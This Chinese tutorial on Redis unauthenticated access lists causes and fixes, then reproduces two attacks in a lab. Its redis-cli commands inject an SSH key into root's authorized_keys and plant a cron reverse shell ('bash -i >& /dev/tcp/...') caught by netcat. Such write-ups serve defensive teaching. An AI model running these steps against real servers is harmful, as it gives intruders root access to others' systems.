Redis未授权访问漏洞

0.漏洞描述

Redis 默认情况下，是不设置认证密码，监听0.0.0.0:6379。用户可以在任意客户端访问 Redis，通过对 Redis 的操作，可以修改系统重要文件。

4.x.x版本看到已经把默认监听改成 `127.0.0.1:6379`

1.漏洞形成的原因

- Redis 无密码或者使用了弱密码
- Redis监听在0.0.0.0:6379
- Redis 服务使用 root 账户运行

2.漏洞危害及常见的攻击方法

- Redis 数据库中的数据泄露或被恶意删除
- 修改服务器的重要文件，控制 Redis 服务器
  - 上传公钥到 /root/.ssh/authotrized_keys 文件，实现免密码登录服务器
  - 修改定时任务cron，实现反弹 shell
- 配合 SSRF 进行自动化的蠕虫攻击

3.修复方法

- 配置访问密码：启用 redis.conf配置中的 requirepass 项，设置复杂的访问密码
- 修改监听地址：修改 redis.conf 配置中的 `bind 0.0.0.0` ，改成 `bind 127.0.0.1`
- 限制可以连接 Redis 服务器的IP： `iptables -I INPUT -s ip --dport 6379 -j ACCEPT`
- 修改 Redis 服务的默认端口6379

4.漏洞复现

环境说明：

- Redis 服务器
  - 系统：CentOS7.3
  - IP ： 192.168.0.232

- Redis：redis-2.8.22

- 攻击者
  - 系统：CentOS7.3
  - IP：192.168.0.231

- 服务器端，启动服务：
  redis默认监听0.0.0.0:6379，不设置密码。服务器防火墙不做IP过滤。

```
[root@test-server ~]# ps -ef |grep redis
root     103026      1  0 11:35 ?        00:00:00 /server/redis/bin/redis-server 0.0.0.0:6379
```

4.1.攻击方法一：ssh免密码登录

攻击者客户端:

- 创建公钥

```
[root@test-client ~]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
b4:dc:1a:a8:b9:1c:3a:3d:91:af:fa:90:5b:1a:fd:c9 root@test-client
The key's randomart image is:
+--[ RSA 2048]----+
|                 |
|                 |
|        .        |
|      + o        |
|     .. S .      |
|  ooo  o         |
|  +.*o  .        |
|  .Oo=..         |
|  =+=oE          |
+-----------------+
```

- 查看公钥

```
[root@test-client ~]# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/zik
sQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSw
RdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf
3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+
IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl
0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 root@test-client
```

- 连接 redis， 上传公钥

```
[root@test-client ~]# redis-cli -h 192.168.0.232
192.168.0.232:6379> config set dir /root/.ssh/
OK
192.168.0.232:6379> config set dbfilename authorized_keys
OK
192.168.0.232:6379> set xxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAA
ABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0
kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJ
MW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolq
jH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttS
r/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO
9 root@test-client\n\n\n"
OK
192.168.0.232:6379> save
OK
192.168.0.232:6379> exit
```

- 服务器上查看公钥是否上传成功：

```
[root@test-server ~]# cat /root/.ssh/authorized_keys
REDIS0008    redis-ver4.0.1
redis-bits□搗e°used-mem¢
                       aof-preamblezrepl-id(01f19f24c705d6f3ad9d6e8973
26dff16a6a37b1
                                 囅-offset~¤xA
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/zik
sQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSw
RdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf
3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+
IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl
0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 root@test-client
ÿ0□W[root@test-server ~]#
```

看到已经上传成功了。

- 攻击者登录服务器:

```
[root@test-client ~]# ssh root@192.168.0.232
Last login: Thu Sep  7 11:17:02 2017 from 192.168.0.242
[root@test-server ~]# pwd
/root
[root@test-server ~]#
```

登录成功。

4.2.攻击方法二：修改定时任务实现反弹shell

攻击者:

- 连接 redis 并添加定时任务

```
[root@test-client ~]# redis-cli -h 192.168.0.232
192.168.0.232:6379> config set dir /var/spool/cron
OK
192.168.0.232:6379> config set dbfilename root
OK
192.168.0.232:6379> set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168
.0.231/1234 0>&1\n\n\n"
OK
192.168.0.232:6379> save
OK
192.168.0.232:6379> exit
[root@test-client ~]#
```

- 服务器端

```
# 查看定时任务
[root@test-server ~]# crontab -l
REDIS0008    redis-ver4.0.1
redis-bits□搗eŰused-mem
                        □preamblezrepl-id(01f19f24c705d6f3ad9d6e897326df
f16a6a37b1
                   囀-offset~□-;
* * * * * bash -i >& /dev/tcp/192.168.0.231/1234 0>&1
ÿ[root@test-server ~]
```

- 攻击者监听连接

```
[root@test-client ~]# netcat -l  -p 1234
bash: no job control in this shell
[root@test-server ~]# pwd
pwd
/root
[root@test-server ~]#
```

服务器会自动连接客户端，客户端监听1234端口，即可。

OK，两种攻击方式演示完毕。其实都是一个套路。